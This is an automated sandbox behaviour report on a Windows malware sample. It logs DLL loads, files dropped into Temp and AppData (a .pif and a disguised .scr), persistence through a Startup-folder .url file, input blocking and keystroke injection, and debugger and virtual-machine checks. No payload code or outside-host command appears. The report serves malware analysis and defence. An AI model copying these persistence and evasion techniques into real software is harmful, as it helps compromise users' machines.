Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: winrnr.dll	Jump to behavior

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: cW5i0RdQ4L.exe

Static file information: File size 1086602 > 1048576

Source: cW5i0RdQ4L.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E1CBDB push eax; retf	10_2_00E1CBF8
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E28B75 push ecx; ret	10_2_00E28B88
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_00908B75 push ecx; ret	16_2_00908B88

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	File created: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr			Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\103495\Powder.pif			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	File created: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr			Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\103495\Powder.pif			Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GuardianCryptoElite.url

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GuardianCryptoElite.url

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E859B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	10_2_00E859B3
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E15EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	10_2_00E15EDA
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_009659B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	16_2_009659B3
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_008F5EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	16_2_008F5EDA

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 10_2_00E233B7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

10_2_00E233B7

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	API coverage: 5.0 %
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	API coverage: 4.8 %

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E64005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00E64005
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E6494A GetFileAttributesW,FindFirstFileW,FindClose,	10_2_00E6494A
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E63CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00E63CE2
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E6C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	10_2_00E6C2FF
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E6CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	10_2_00E6CD9F
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E6CD14 FindFirstFileW,FindClose,	10_2_00E6CD14
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E6F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_00E6F5D8
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E6F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_00E6F735
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 10_2_00E6FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	10_2_00E6FA36
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_00944005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	16_2_00944005
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_0094494A GetFileAttributesW,FindFirstFileW,FindClose,	16_2_0094494A
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_0094C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	16_2_0094C2FF
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_0094CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	16_2_0094CD9F
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_0094CD14 FindFirstFileW,FindClose,	16_2_0094CD14
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_0094F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	16_2_0094F5D8
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_0094F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	16_2_0094F735
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_0094FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	16_2_0094FA36
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 16_2_00943CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	16_2_00943CE2

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 10_2_00E15D13 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

10_2_00E15D13

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\103495\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\103495	Jump to behavior

Source: Powder.pif, 0000000A.00000002.3572166645.00000000043ED000.00000004.00000800.00020000.00000000.sdmp, GuardianCryptoElite.scr, 00000010.00000002.3572129134.0000000003D10000.00000004.00000800.00020000.00000000.sdmp, GuardianCryptoElite.scr, 00000010.00000002.3572129134.0000000003D51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Powder.pif, 0000000A.00000002.3571739331.0000000001B60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 10_2_00E745D5 BlockInput,

10_2_00E745D5

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 10_2_00E15240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

10_2_00E15240

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

